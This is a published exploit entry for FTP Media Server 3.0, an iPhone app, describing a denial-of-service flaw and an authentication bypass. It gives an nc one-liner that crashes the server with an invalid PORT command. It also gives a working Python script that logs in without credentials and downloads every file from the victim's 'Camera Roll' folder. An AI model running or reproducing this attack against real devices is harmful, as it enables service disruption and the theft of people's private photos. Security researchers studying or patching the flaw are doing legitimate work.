FTP Media Server 3.0 – Authentication Bypass / Denial of Service
#!/usr/bin/env python #================================================================================== # Exploit Title: FTP Media Server 3.0 - Authentication Bypass and Denial of Service # Date: 2015-05-25 # Exploit Author: Wh1t3Rh1n0 (Michael Allen) # Exploit Author's Homepage: http://www.mikeallen.org # Software Link: https://itunes.apple.com/us/app/ftp-media-server-free/id528962302 # Version: 3.0 # Tested on: iPhone #================================================================================== # ------------------ # Denial of Service: # ------------------ # The FTP server does not properly handle errors raised by invalid # FTP commands. The following command, which sends an invalid PORT command to # the FTP server, will crash the server once it is received. # echo -en "PORT\r\n" | nc -nv 192.168.2.5 50000 # ---------------------- # Authentication Bypass: # ---------------------- # The FTP server does not handle unauthenticated connections or incorrect login # credentials properly. A remote user can issue commands to the FTP server # without authenticating or after entering incorrect credentials. # The following proof-of-concept connects to the given FTP server and # downloads all files stored in the "Camera Roll" folder without providing a # username or password: import sys from ftplib import FTP if len(sys.argv) <= 1: print "Usage: ./ftp-nologin.py [host] [port]" exit() host = sys.argv[1] port = int(sys.argv[2]) files = [] def append_file(s): files.append(s.split(' ')[-1]) blocks = [] def get_blocks(d): blocks.append(d) ftp = FTP() print ftp.connect(host, port) ftp.set_pasv(1) ftp.cwd("Camera Roll") print ftp.retrlines('LIST', append_file) files.pop(0) for filename in files: print "Downloading %s..." % filename ftp.retrbinary('RETR /Camera Roll/' + filename, get_blocks) f = open(filename, 'wb') for block in blocks: f.write(block) f.close() print "[+] File saved to: %s" % filename blocks = [] ftp.quit() |